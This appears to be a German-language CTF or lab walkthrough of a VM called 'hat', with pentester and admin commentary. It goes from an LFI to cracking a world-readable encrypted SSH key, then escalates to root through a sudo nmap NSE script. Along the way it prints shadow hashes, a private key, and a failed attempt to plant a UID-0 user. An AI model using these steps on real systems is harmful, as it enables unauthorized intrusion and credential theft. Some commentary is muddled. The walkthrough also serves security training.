ls -la total 16 drwxrwxrwx 2 www-data www-data 4096 Apr 18 2023 . drwxrwxrwx 4 www-data www-data 4096 Sep 28 2021 .. -rwxrwxrwx 1 www-data www-data 61 Sep 29 2021 file.php -rwxrwxrwx 1 www-data www-data 7 Sep 28 2021 index.html
cat file.php
**Analyse:** Im aktuellen Verzeichnis `/var/www/html/php-scripts` werden die Dateiberechtigungen (`ls -la`) und der Inhalt von `file.php` (`cat file.php`) überprüft.
**Bewertung:** Die Berechtigungen sind sehr offen (`drwxrwxrwx`, `-rwxrwxrwx`), was ungewöhnlich und unsicher ist. Der Quellcode von `file.php` bestätigt die LFI-Schwachstelle: Der Wert des GET-Parameters `6` wird ohne jegliche Bereinigung oder Validierung direkt in die `include()`-Funktion übergeben. Dies ist die Ursache der Schwachstelle.
**Empfehlung (Pentester):** Die offenen Berechtigungen könnten es ermöglichen, Dateien in diesem Verzeichnis zu ändern oder zu erstellen, was ein weiterer potenzieller Angriffsvektor sein könnte (z.B. Hochladen einer Webshell).
**Empfehlung (Admin):** Korrigieren Sie die unsicheren Berechtigungen in `/var/www/html/php-scripts`. Beheben Sie die LFI in `file.php` durch Validierung des `$filename`-Parameters oder durch Verwendung eines sichereren Mechanismus.
56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 22163 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo 52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 135466 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 16114 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 12774 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien (`-type f`) im gesamten Dateisystem (`/`), die das SUID-Bit gesetzt haben (`-perm -4000`). Fehler (`2>/dev/null`) werden unterdrückt. `-ls` zeigt detaillierte Informationen an.
**Bewertung:** Listet die Standard-SUID-Binaries auf einem typischen Debian-System auf. Es sind keine ungewöhnlichen oder benutzerdefinierten SUID-Dateien zu sehen, die auf einen einfachen Privilegienerweiterungs-Vektor hindeuten würden.
**Empfehlung (Pentester):** Notieren Sie die Liste, aber suchen Sie weiter nach anderen Vektoren (Capabilities, sudo-Regeln, Kernel-Exploits, Fehlkonfigurationen).
**Empfehlung (Admin):** Überprüfen Sie regelmäßig SUID/SGID-Dateien und entfernen Sie das Bit von nicht benötigten Binaries.
/usr/bin/ping = cap_net_raw+ep
**Analyse:** `getcap -r / 2>/dev/null` sucht rekursiv (`-r`) im gesamten Dateisystem (`/`) nach Dateien mit gesetzten Linux Capabilities.
**Bewertung:** Nur `/usr/bin/ping` hat die `cap_net_raw`-Capability, was Standard ist und normalerweise keinen einfachen Privilegienerweiterungs-Vektor darstellt.
**Empfehlung (Pentester):** Capabilities sind ein weniger häufiger, aber möglicher Vektor. Hier scheint er nicht vielversprechend.
**Empfehlung (Admin):** Vergeben Sie Capabilities nur, wenn unbedingt notwendig.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 100 0.0.0.0:65535 0.0.0.0:* LISTEN 0 128 *:80 *:* LISTEN 0 128 []:22 []:*
**Analyse:** `ss -altpn` listet alle (`a`) lauschenden (`l`) TCP-Sockets (`t`) mit Prozessinformationen (`p`) auf, ohne Namen aufzulösen (`n`).
**Bewertung:** Bestätigt die lauschenden Dienste, die wir bereits von Nmap kannten: * Port 22 (SSH): Lauscht auf IPv4 (`0.0.0.0:22`) und IPv6 (`:::22`). * Port 80 (HTTP): Lauscht auf IPv4/IPv6 (`*:80`). * Port 65535 (FTP): Lauscht nur auf IPv4 (`0.0.0.0:65535`). Dies erklärt, warum der Nmap IPv4-Scan Port 22 als `filtered` sah (Firewall blockiert) und Port 65535 fand, während der IPv6-Scan Port 22 als `open` sah und Port 65535 nicht fand.
**Empfehlung (Pentester):** Keine neuen Angriffsvektoren, aber nützlich zum Verständnis der Netzwerkarchitektur.
**Empfehlung (Admin):** Überprüfen Sie, ob Dienste nur an den benötigten Schnittstellen und Protokollen lauschen.
cromiphi
ls: cannot open directory '/home/cromiphi/': Permission denied
**Analyse:** Überprüfung des `/home`-Verzeichnisses. Es existiert ein Benutzer `cromiphi`. Der Versuch, dessen Home-Verzeichnis aufzulisten, schlägt wegen fehlender Berechtigungen fehl.
**Bewertung:** Bestätigt `cromiphi` als Zielbenutzer. Wir können als `www-data` nicht direkt auf sein Home-Verzeichnis zugreifen.
**Empfehlung (Pentester):** Suchen Sie nach anderen Wegen, um Informationen über `cromiphi` zu erhalten oder dessen Rechte zu erlangen.
**Empfehlung (Admin):** Home-Verzeichnisse sollten standardmäßig nur für den jeweiligen Benutzer und `root` lesbar sein.
-rw-r--r-- 1 root root 1404 Sep 28 2021 /etc/passwd
**Analyse:** Überprüfung der Berechtigungen der `/etc/passwd`-Datei.
**Bewertung:** Die Datei ist für alle lesbar (`-rw-r--r--`), was Standard und notwendig ist.
**Empfehlung (Pentester/Admin):** Keine Aktion erforderlich.
total 12 drwxrwxrwx 3 root root 4096 Apr 18 2023 . drwxr-xr-x 18 root root 4096 Sep 28 2021 .. drwxrwxrwx 2 cromiphi cromiphi 4096 Sep 28 2021 share
**Analyse:** Auflisten des `/opt`-Verzeichnisses.
**Bewertung:** Findet ein Unterverzeichnis namens `share`, das dem Benutzer `cromiphi` gehört, aber sehr offene Berechtigungen hat (`drwxrwxrwx`). Dies ist ein vielversprechender Ort zum Suchen.
**Empfehlung (Pentester):** Untersuchen Sie das Verzeichnis `/opt/share`.
**Empfehlung (Admin):** Korrigieren Sie die unsicheren Berechtigungen für `/opt` und `/opt/share`. Verzeichnisse sollten nicht für alle beschreibbar sein.
total 8 drwxrwsr-x 2 root mail 4096 Sep 28 2021 . drwxr-xr-x 12 root root 4096 Sep 28 2021 ..
**Analyse:** Auflisten des Mail-Verzeichnisses `/var/mail/`.
**Bewertung:** Enthält keine Benutzer-Maildateien, die für `www-data` lesbar wären. Uninteressant.
**Empfehlung (Pentester/Admin):** Keine Aktion.
total 432 drwxr-xr-x 2 root root 4096 Apr 18 2023 . drwxr-xr-x 12 root root 4096 Sep 28 2021 .. -rw-r--r-- 1 root root 40960 Sep 29 2021 alternatives.tar.0 -rw-r--r-- 1 root root 11588 Sep 29 2021 apt.extended_states.0 -rw-r--r-- 1 root root 1101 Sep 28 2021 apt.extended_states.1.gz -rw-r--r-- 1 root root 186 Sep 28 2021 dpkg.diversions.0 -rw-r--r-- 1 root root 172 Sep 28 2021 dpkg.statoverride.0 -rw-r--r-- 1 root root 349986 Sep 28 2021 dpkg.status.0 -rw------- 1 root root 748 Sep 28 2021 group.bak -rw-r----- 1 root shadow 634 Sep 28 2021 gshadow.bak -rw------- 1 root root 1404 Sep 28 2021 passwd.bak -rw-r----- 1 root shadow 943 Sep 28 2021 shadow.bak
**Analyse:** Auflisten des Backup-Verzeichnisses `/var/backups/`.
**Bewertung:** Enthält Backups verschiedener Systemdateien, darunter `passwd.bak`, `group.bak`, `gshadow.bak` und `shadow.bak`. Die Backup-Dateien für `gshadow` und `shadow` sind jedoch nur für `root` und die Gruppe `shadow` lesbar, nicht für `www-data`.
**Empfehlung (Pentester):** Obwohl die Shadow-Backups nicht direkt lesbar sind, könnten die anderen Backups (`passwd.bak`, `group.bak`) nützliche Informationen enthalten. Konzentrieren Sie sich aber zuerst auf `/opt/share`.
**Empfehlung (Admin):** Stellen Sie sicher, dass Backups sensibler Dateien wie `/etc/shadow` korrekte, restriktive Berechtigungen haben (z.B. `640` oder `600`).
total 16 drwxrwxrwx 2 cromiphi cromiphi 4096 Sep 28 2021 . drwxrwxrwx 3 root root 4096 Apr 18 2023 .. -rwxrwxrwx 1 cromiphi cromiphi 1751 Sep 28 2021 id_rsa -rwxrwxrwx 1 cromiphi cromiphi 108 Sep 28 2021 note
**Analyse:** Wechsel in das Verzeichnis `/opt/share` und Auflisten des Inhalts.
**Bewertung:** **Jackpot!** Das Verzeichnis enthält zwei Dateien, die `cromiphi` gehören, aber aufgrund der unsicheren Verzeichnis- und Dateiberechtigungen (`-rwxrwxrwx`) für `www-data` lesbar sind: * `id_rsa`: Dies ist höchstwahrscheinlich der private SSH-Schlüssel des Benutzers `cromiphi`. * `note`: Eine Notizdatei.
**Empfehlung (Pentester):** Lesen Sie den Inhalt beider Dateien (`cat *` oder `cat id_rsa` und `cat note`). Versuchen Sie, sich mit dem gefundenen SSH-Schlüssel als `cromiphi` anzumelden. Der Schlüssel ist wahrscheinlich passwortgeschützt, wie die spätere Ausgabe zeigt.
**Empfehlung (Admin):** Korrigieren Sie *dringend* die Berechtigungen für `/opt/share` und die darin enthaltenen Dateien. Private SSH-Schlüssel sollten niemals für andere Benutzer lesbar sein (Berechtigung `600` ist Standard). Speichern Sie sensible Daten nicht an unsicheren Orten.
--BEGIN RSA PRIVATE KEY-- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,6F30B7B22B088AB2 JmLJqI4m9jk1McrIzNFyuYrPyPu3Znw6awuyEIK0ZctgYabjNk5MVCM0FH45SQCl rqK3QqSACiq4+DnMWrECj5C+JPzGjIupgz8IrW0Cr7mkRSNa9fCeEBrIzAi924 GEM72PMuwlBM4zWDZ/962gtZpDnzXYLc9mYdVTe+ubI2NrVC6d2ak1L5GMsBdYwi BVj8bhnUsr4doXi1ZcRAZoHUses/Z8ohfNXkUoD2d1kQmiE0hAVEUnBerzV+E84 GpJFBgHphboG9E+R3Gh27viM3pY0qFvU/PWbTJ8Y6LgSgJPMLldlEuBEym0LPDpc 27L7wdKEYwCjPWBGtuGnKsdfleQfsyKijH8/YDlH0hsrDc83ZMcDR13jtfZbZjHZ IwVdhUuKdHp6Ig4lmxi1RqJA35CD6ZHHMzKlm1TjQskA0j6jdPeJ3o5ebh/z3oe tr3FKEawz+2KQa+CX+frCwN/rLFUc8Mvh7I4/jJ9o2kdKB0u5HH+pgXfmhTJzl mVSqtti7cxefUb142Jltku5kElwKdvVEHw+qmZNMwrw+Kv7rlpvezfsW4uzm8Je nlmxXoMl62Z3FKPjKarEqZrb6bHf6lWAIrJgJGydRn1tpD/IY1DJZKwa0aLrkbr 7hu8C0LSpIVdy5ZUSaT04ZL/FBxDQR7cg2/ZYF5Kc1pvIgjXrlEsbbSPDyg2bLIW eCMRnevvsTS8l55qUvQ2G73kHMcWfkAsvUaojLiSxXGTcd+gPf6kXiwTbz2wbTR KPzDwKaTn74yW+9jc88+6D8CdT6rN+2eP8K0ukdNwMqVc+Mag0TCwq+QVfKwf 7A+3+13xjUy1/TKRIJDXuhL88RDrzA7U4uy9ZDYEq5z2HVc3agqnHMBP4k2n0KE u2YoCNp52Q4YpKoXoz5jw8CuUIhNqoilh/0j+gkdgI5jMAEBT7p6M/fnhfHpe VNCimSJfTjLCU49Tez0HeDDCuE4oG/vShjM0ebZHMMWTY8vVaRz4Ktcx938Jpnj /j9Z0NEAEUI2ISZGGDLS/0fhyN9lsl1UrY2yR3NnXgbX3YkjWLDM4C8mWSCejpl XhWSUYlt8X83atlUfTcn97QVGeJXvlJhBUrYEtsTHjDc2lsH3KQNYtpckQizpcyW axJjIeWhI+eqWIVwsXTxKI2hIa6XuYdjUP7cusDad+pUo1Y7h0wTwLP1KYtkXrm3 sEvB8X2mX6tHB+1i67UKjFdZ7Ti1Q2XY6zCCbl3S5b24MFAFANDYgkr1QtgQqs j+tSrrd1yn4AeM6SdyLdVxKQBY2s0+9dvLmaJLH9dV0G4I4WcMuum40WMzXrf fBAMIh7Gl0lEWPrPtxrQI++kAlyzNTK1oxSvdc/f30TB4hGH8yU3EKzRh/QTa fHkcKP9V7Y0xKwrg2yLuWsFSt4QnFUZEbV+wDq2i9NqvriYxSa2qarPP04FVZRp 5xYdSGWdMuPFTEAaM+67wR33zzlYKvnEmE9CRHnAqVpqHFuNmgYD+S3KhzW3X1A3 zlflWacIB06p/cXCr3w6XNqa0y2TsNmuT2IR6JX+Qr6usNV4QWL/Jyyy4dE1oBG6 --END RSA PRIVATE KEY-- Hi, We have successfully secured some of our most critical protocols ... no more worrying! Sysadmin
**Analyse:** Der Inhalt der beiden Dateien in `/opt/share` wird angezeigt.
**Bewertung:** * `id_rsa`: Enthält einen privaten RSA SSH-Schlüssel. Wichtig sind die Header `Proc-Type: 4,ENCRYPTED` und `DEK-Info: DES-EDE3-CBC,...`, die anzeigen, dass der Schlüssel mit einer Passphrase (mittels Triple-DES) verschlüsselt ist. * `note`: Eine kurze Notiz vom Sysadmin, die besagt, dass "kritische Protokolle gesichert" wurden. Dies könnte ein Hinweis sein, muss aber nicht relevant sein.
**Empfehlung (Pentester):** Kopieren Sie den privaten SSH-Schlüssel auf Ihr Angreifersystem. Versuchen Sie, die Passphrase des Schlüssels mit Tools wie `ssh2john` und `John the Ripper` (oder Hashcat) zu knacken. Die Notiz ist wahrscheinlich weniger wichtig.
**Empfehlung (Admin):** Private Schlüssel sicher aufbewahren und mit starken Passphrasen schützen. Unsichere Berechtigungen beheben.
**Analyse:** Auf dem Angreifersystem wird eine leere Datei `iddd` erstellt, der Inhalt des privaten SSH-Schlüssels wird hineinkopiert (angenommen, da der `vi`-Befehl gezeigt wird), und die Berechtigungen werden auf `600` gesetzt (nur für den Eigentümer les- und schreibbar).
**Bewertung:** Korrektes Vorgehen, um den SSH-Schlüssel für die Verwendung mit SSH und Cracking-Tools vorzubereiten.
**Empfehlung (Pentester/Admin):** Keine Aktion erforderlich.
**Analyse:** Das Tool `ssh2john` (Teil von John the Ripper) wird verwendet, um den Hash der Passphrase aus dem verschlüsselten SSH-Schlüssel (`iddd`) zu extrahieren und in die Datei `hash` zu speichern.
**Bewertung:** Notwendiger Schritt, um den Hash für das Cracking vorzubereiten.
**Empfehlung (Pentester/Admin):** Keine Aktion erforderlich.
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/PENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 16 penMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ilovemyself (iddd) 1g 0:00:00:00 DNE (2024-09-18 21:53) 100.0g/s 179200p/s 179200c/s 179200C/s danilo..jupiter Use the "--show" option to display all of the cracked passwords reliably Session completed.
**Analyse:** John the Ripper wird mit der Wortliste `rockyou.txt` auf die Hash-Datei angesetzt, um die Passphrase zu knacken.
**Bewertung:** **Erfolg!** John findet die Passphrase für den SSH-Schlüssel: `ilovemyself`. Die Wortliste `rockyou.txt` war ausreichend.
**Empfehlung (Pentester):** Verwenden Sie nun den SSH-Schlüssel (`iddd`) zusammen mit der geknackten Passphrase (`ilovemyself`), um sich als Benutzer `cromiphi` auf dem Zielsystem anzumelden.
**Empfehlung (Admin):** Verwenden Sie starke, einzigartige Passphrasen für SSH-Schlüssel, die nicht in gängigen Wortlisten enthalten sind.
The authenticity of host 'fe80a00:27ff:fe8f:ef5e%eth0 (fe80a00:27ff:fe8f:ef5e%eth0)' can't be established. ED25519 key fingerprint is SHA256:Lau+PZMPWLbX3icetuZ2jXgEY/N1RwrUsqJBfcuTQ. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:44: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'fe80a00:27ff:fe8f:ef5e%eth0' (ED25519) to the list of known hosts. Enter passphrase for key 'iddd': ilovemyself Linux hat 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 cromiphi@hat$ id uid=1000(cromiphi) gid=1000(cromiphi) grupos=1000(cromiphi)
**Analyse:** Eine SSH-Verbindung wird zum Zielsystem aufgebaut (`ssh ...`). Es wird der Benutzer `cromiphi`, die IPv6-Adresse des Ziels (`fe80...%eth0`), der geknackte private Schlüssel (`-i iddd`) und das IPv6-Protokoll (`-6`) verwendet. Die Authentizität des Hosts wird bestätigt (`yes`) und die geknackte Passphrase (`ilovemyself`) eingegeben.
**Bewertung:** **Erfolg!** Die SSH-Verbindung wird erfolgreich hergestellt, und wir erhalten eine Shell als Benutzer `cromiphi`. Der `id`-Befehl bestätigt dies.
**Empfehlung (Pentester):** Wir sind nun als `cromiphi` angemeldet. Der nächste Schritt ist die Privilegienerweiterung zu `root`. Führen Sie `sudo -l` aus, um die sudo-Rechte von `cromiphi` zu überprüfen.
**Empfehlung (Admin):** Überwachen Sie SSH-Logins. Verwenden Sie starke Passphrasen. Widerrufen Sie kompromittierte Schlüssel und beheben Sie die Ursache der Kompromittierung (unsichere Berechtigungen in `/opt/share`).
**Privilege Escalation per $PATH Hijacking**
(Hinweis: Der tatsächliche Exploit basiert auf `sudo` und Nmap-Skripten, nicht direkt auf PATH-Hijacking, obwohl dies eine verwandte Technik sein kann.)
uid=1000(cromiphi) gid=1000(cromiphi) grupos=1000(cromiphi)
**Analyse:** Erneute Bestätigung der Identität als `cromiphi`.
**Bewertung:** Redundant, aber bestätigt den aktuellen Benutzer.
**Empfehlung (Pentester/Admin):** Keine Aktion.
Matching Defaults entries for cromiphi on hat: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User cromiphi may run the following commands on hat: (root) NPASSWD: /usr/bin/nmap
**Analyse:** `sudo -l` wird als `cromiphi` ausgeführt.
**Bewertung:** **Sehr interessanter Fund!** Der Benutzer `cromiphi` darf `/usr/bin/nmap` als `root` ohne Passwort ausführen (`NPASSWD`). Nmap ist ein Netzwerkscanner, verfügt aber auch über eine Skript-Engine (NSE) und einen interaktiven Modus, die oft zur Privilegienerweiterung missbraucht werden können.
**Empfehlung (Pentester):** Konsultieren Sie GTFOBins für `/usr/bin/nmap` mit sudo-Rechten. Suchen Sie nach Möglichkeiten, über Nmap eine Root-Shell zu erhalten.
**Empfehlung (Admin):** Weisen Sie sudo-Rechte für mächtige Tools wie Nmap äußerst restriktiv zu. Wenn Nmap benötigt wird, beschränken Sie die erlaubten Befehle und Parameter so weit wie möglich.
[Link: https://gtfobins.github.io/gtfobins/nmap/#sudo | Ziel: https://gtfobins.github.io/gtfobins/nmap/#sudo] sudo nmap --interactive nmap> !sh funtioniert nicht, zweite Variante: TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF
**Analyse:** Der Pentester hat GTFOBins konsultiert und zwei Methoden gefunden: 1. **Interaktiver Modus:** `sudo nmap --interactive`, gefolgt von `!sh` innerhalb der Nmap-Shell. Dies schlug fehl ("funtioniert nicht"). 2. **NSE Script:** Erstellen einer temporären Datei (`TF=$(mktemp)`), Schreiben eines einfachen Lua-Skripts (`echo 'os.execute("/bin/sh")' > $TF`), das eine Shell startet, und Ausführen von Nmap mit diesem Skript (`sudo nmap --script=$TF`).
**Bewertung:** Der interaktive Modus funktioniert möglicherweise in neueren Nmap-Versionen nicht mehr oder ist auf diesem System deaktiviert. Die NSE-Skript-Methode ist ein gängiger und oft erfolgreicher Weg.
**Empfehlung (Pentester):** Führen Sie die Schritte für die zweite Variante (NSE Script) aus.
**Empfehlung (Admin):** Sudo-Regeln sollten idealerweise die Verwendung von Optionen wie `--interactive` oder `--script` verbieten, wenn Nmap erlaubt werden muss.
root nmap -iL /root/.ssh/id_rsa Failed to open input file /root/.ssh/id_rsa for reading QUITTING!
**Analyse:** Die Befehle zur Vorbereitung des NSE-Skripts (`mktemp`, `echo`) werden ausgeführt. Dann wird versucht, das Skript mit `sudo -u root --script=$TF` auszuführen. Dies ist jedoch **kein Nmap-Aufruf**, sondern nur `sudo` mit Optionen, die es nicht kennt. Die folgende Zeile `root nmap -iL /root/.ssh/id_rsa` scheint eine fehlgeschlagene Interpretation oder ein manueller, separater Befehl zu sein, der versucht, einen privaten Schlüssel als Hostliste zu lesen, was fehlschlägt (`Failed to open input file ...`).
**Bewertung:** Dieser Block zeigt einen Fehler bei der Ausführung des Exploits. Der Befehl `sudo -u root --script=$TF` ist falsch. Es müsste `sudo /usr/bin/nmap --script=$TF` lauten. Die nachfolgende `nmap -iL`-Zeile ist irrelevant oder ein weiterer Fehler.
**Empfehlung (Pentester):** Korrigieren Sie den `sudo`-Aufruf zu `sudo /usr/bin/nmap --script=$TF`. Ignorieren Sie die fehlgeschlagenen `-iL`-Versuche.
**Empfehlung (Admin):** Keine Aktion erforderlich, da der Exploit hier fehlschlug.
Starting Nmap 7.70 ( https://nmap.org ) at 2024-09-18 22:01 CEST Failed to resolve "8b4acc39c4d068623a16a89ebecd5048". WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.05 seconds
**Analyse:** Ein weiterer fehlerhafter Versuch, Nmap zu missbrauchen. Hier wird versucht, den Inhalt der (noch nicht lesbaren) `root.txt`-Datei als Liste von Zielen (`-iL`) zu interpretieren.
**Bewertung:** Sinnloser Befehl, der fehlschlägt, da der Flag-String kein gültiger Hostname oder IP-Adresse ist.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf den korrekten NSE-Skript-Exploit.
**Empfehlung (Admin):** Keine Aktion erforderlich.
Starting Nmap 7.70 ( https://nmap.org ) at 2024-09-18 22:02 CEST Unable to split netmask from target expression: "root:$6$jX5zS5B.kth/brR$7/Myjj/ld3mZDlDDxd2Eh9jS5Z7d.94byWQ85bGfcjEvaWeHPDc3AcGRvIA.n/fwZoPvrPjAxn9RjsBvh.f0/:19465:0:99999:7:" Failed to resolve "daemon:*:18898:0:99999:7:". Failed to resolve "bin:*:18898:0:99999:7:". ... (viele ähnliche Fehler) ... Unable to split netmask from target expression: "cromiphi:$6$P8RaNXyXiMNE/WF$eJRyr7n1FM8.qhydNopQjzKmgU16leTFWt5z2.hix0my9AU5NvQ3DeK0DArBBD1PrLefvhR/qrXVgbfxQA3C40:19465:0:99999:7:" Failed to resolve "systemd-coredump:!!:18898". WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.03 seconds
**Analyse:** Erneuter Versuch, Nmap mit `-iL` zu missbrauchen, diesmal mit `/etc/shadow`. Nmap versucht, jede Zeile der Shadow-Datei als Ziel zu interpretieren.
**Bewertung:** Wieder ein sinnloser Befehl, der fehlschlägt. Interessant ist jedoch, dass `sudo` den Lesevorgang von `/etc/shadow` erlaubt hat (da Nmap die Zeilen lesen und als ungültig erkennen konnte), was bedeutet, dass `cromiphi` über `sudo nmap` indirekt den Inhalt von `/etc/shadow` lesen kann, auch wenn der Befehl hier falsch verwendet wird.
**Empfehlung (Pentester):** Notieren Sie, dass `/etc/shadow` über `sudo nmap` lesbar ist. Dies könnte für Offline-Passwort-Cracking genutzt werden, falls der NSE-Exploit nicht funktioniert.
**Empfehlung (Admin):** Siehe Empfehlungen zur Einschränkung von `sudo nmap`.
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
kein Erfolg mit der Shadow Methode
**Analyse:** Der Pentester hat offenbar den Inhalt von `/etc/passwd` und `/etc/shadow` (wahrscheinlich über die LFI oder eine andere Methode, hier nicht gezeigt, wie er an `/etc/shadow` kam) auf sein System kopiert (`vi shadow.txt`, `vi passwd.txt`). Dann werden die Dateien mit `unshadow` zusammengeführt und mit `john` und `rockyou.txt` versucht, die Hashes zu knacken.
**Bewertung:** Der Cracking-Versuch war erfolglos ("kein Erfolg mit der Shadow Methode"). Das Passwort für `cromiphi` (oder `root`) war nicht in `rockyou.txt` enthalten.
**Empfehlung (Pentester):** Verlassen Sie sich nicht nur auf Standard-Wortlisten. Versuchen Sie andere Cracking-Methoden (Regeln, Masken) oder konzentrieren Sie sich wieder auf den `sudo nmap`-Exploit.
**Empfehlung (Admin):** Verwenden Sie starke, komplexe Passwörter, die nicht leicht durch Wörterbuchangriffe geknackt werden können.
Die folgenden Befehle scheinen ein fehlgeleiteter Versuch zu sein, die `/etc/passwd`-Datei auf dem Zielsystem mit einer modifizierten Version zu überschreiben, indem Nmap's `-oG` (Grepable Output) Option missbraucht wird. Dies ist sehr unwahrscheinlich, erfolgreich zu sein und potenziell gefährlich.
LFILE=file_to_write nmap -oG=$LFILE DATA
root:x:0:0:root:/root:/bin/bash
... (original passwd content) ...
cromiphi:x:1000:1000:cromiphi,,,:/home/cromiphi:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ben:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
**Analyse:** Auf dem Angreifersystem wird eine lokale `passwd.txt`-Datei bearbeitet (`vi`) und um eine Zeile für einen neuen Benutzer `ben` mit Root-Rechten (UID 0, GID 0) und einem Passwort-Hash erweitert. Diese Datei wird in `passwd` umbenannt und über einen einfachen Python-HTTP-Server bereitgestellt.
**Bewertung:** Vorbereitungsschritte für den Versuch, die `/etc/passwd`-Datei auf dem Ziel zu überschreiben.
**Empfehlung (Pentester):** Dies ist ein riskanter Ansatz. Wenn er fehlschlägt oder die Datei beschädigt wird, könnte das System unbrauchbar werden.
**Empfehlung (Admin):** Keine Aktion erforderlich (bezogen auf Angreifersystem).
--2024-09-18 22:16:07-- http://192.168.2.199/passwd Conectando con 192.168.2.199:80... conectado. Petición HTTP enviada, esperando respuesta... 200 K Longitud: 1540 (1,5K) [application/octet-stream] Grabando a: “passwd” passwd 100%[===================>] 1,50K --.-KB/s en 0s 2024-09-18 22:16:07 (464 MB/s) - “passwd” guardado [1540/1540]
**Analyse:** Auf dem Zielsystem (als `cromiphi`) wird die modifizierte `passwd`-Datei vom HTTP-Server des Angreifers heruntergeladen.
**Bewertung:** Die Datei wurde erfolgreich auf das Zielsystem übertragen.
**Empfehlung (Pentester):** Nächster Schritt wäre der Versuch, die echte `/etc/passwd` mit dieser Datei zu überschreiben.
**Empfehlung (Admin):** Überwachen Sie verdächtige ausgehende Verbindungen und Downloads von internen Systemen.
LFILE=file_to_write nmap -oG=$LFILE DATA
Starting Nmap 7.70 ( https://nmap.org ) at 2024-09-18 22:17 CEST Unable to split netmask from target expression: "/etc/passwd" WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.02 seconds
su: el usuario ben no existe
**Analyse:** Es wird versucht, Nmap's `-oG` (Grepable Output) Option zu nutzen, um eine Datei zu schreiben. Die Idee scheint zu sein, `/etc/passwd` als "Ziel" anzugeben und die Ausgabe in die zuvor heruntergeladene `passwd`-Datei (`LFILE=passwd`) zu schreiben. Dies soll vermutlich `/etc/passwd` mit der modifizierten Version überschreiben.
**Bewertung:** Dieser Versuch scheitert komplett. Nmap interpretiert `/etc/passwd` nicht als gültiges Ziel und die `-oG`-Option überschreibt keine Systemdateien auf diese Weise. Der Befehl hat keine Auswirkung auf `/etc/passwd`. Der anschließende `su ben`-Befehl schlägt fehl, weil der Benutzer `ben` nie erfolgreich hinzugefügt wurde.
**Empfehlung (Pentester):** Dieser Ansatz zum Überschreiben von `/etc/passwd` mit Nmap ist nicht praktikabel. Konzentrieren Sie sich auf den korrekten Nmap NSE Exploit.
**Empfehlung (Admin):** Keine Aktion erforderlich, da der Versuch fehlschlug. Zeigt aber die Absicht des Angreifers.
ssh cromiphi@fe80a00:27ff:fe8f:ef5e%eth0 -i iddd -6 ilovemyself Plötzlich funktioniert es!
**Analyse:** Diese Zeilen scheinen eine Notiz oder eine Wiederholung des vorherigen erfolgreichen SSH-Logins zu sein. Es ist unklar, warum sie hier erscheinen.
**Bewertung:** Kontext unklar. Möglicherweise hat der Pentester nach den fehlgeschlagenen Nmap-Versuchen den korrekten Exploit-Weg wiedergefunden.
**Empfehlung (Pentester):** Fahren Sie mit dem korrekten Nmap NSE Exploit fort.
**Empfehlung (Admin):** Keine Aktion.
Starting Nmap 7.70 ( https://nmap.org ) at 2024-09-18 22:34 CEST NSE: Warning: Loading '/tmp/tmp.5vWT7sLABl' -- the recommended file extension is '.nse'. root@hat:/home/cromiphi#
**Analyse:** Diesmal wird der korrekte Befehl für den Nmap NSE Exploit ausgeführt: `sudo /usr/bin/nmap --script=$TF`. Nmap lädt das temporäre Skript (das `os.execute("/bin/bash")` enthält) und führt es mit Root-Rechten aus.
**Bewertung:** **Erfolg! Privilege Escalation zu Root!** Der Befehl startet erfolgreich eine Bash-Shell, und der Prompt wechselt zu `root@hat:/home/cromiphi#`, was eine Root-Shell anzeigt.
**Empfehlung (Pentester):** Ziel erreicht! Suchen Sie die Root-Flag.
